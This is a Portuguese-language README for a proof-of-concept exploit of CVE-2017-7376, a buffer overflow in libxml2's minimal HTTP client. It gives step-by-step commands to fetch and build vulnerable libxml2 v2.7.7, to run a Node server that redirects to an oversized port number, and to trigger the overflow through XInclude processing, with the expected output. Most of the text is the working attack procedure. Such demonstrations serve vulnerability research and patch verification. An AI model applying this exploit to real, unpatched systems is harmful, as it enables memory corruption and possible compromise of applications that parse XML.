
Um exemplo de exploit para CVE-2017-7376
Um exemplo de exploit para CVE-2017-7376
Baixe este repositório e uma versão vulnerável do libxml2, ex: v2.7.7:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
Para tornar o sucesso do exploit mais visível, adicione código para detectar o buffer overflow no libxml2. Não é necessário se você tiver outros meios de visibilidade, como a aplicação travar.
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
No caso do seguinte erro:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
Substitua em configure.in AM_C_PROTOTYPES por dnl AM_C_PROTOTYPES, ex: assim:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
Volte
cd ..
Este exploit requer um servidor web que responda com um redirecionamento para uma nova URL com um número de porta maior que 5 dígitos e abaixo de int32max (2147483648 = 2^32/2).
Inicie o servidor (requer node JS e que a porta 127.0.0.1:8080 esteja livre):
node http.js &
Teste o servidor web; deve reclamar sobre número de porta inválido 2147426192:
wget localhost:8080
make
./run.sh
Saída esperada:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
Este exploit de demonstração requer que o programa principal execute xmlXIncludeProcess() para alcançar o código defeituoso no libxml2, o que provavelmente não é usado em muitas implementações reais. Mas então nanohttp.c menciona no comentário que é uma implementação minimalista HTTP GET para buscar subconjuntos externos que pode oferecer outro caminho de exploração.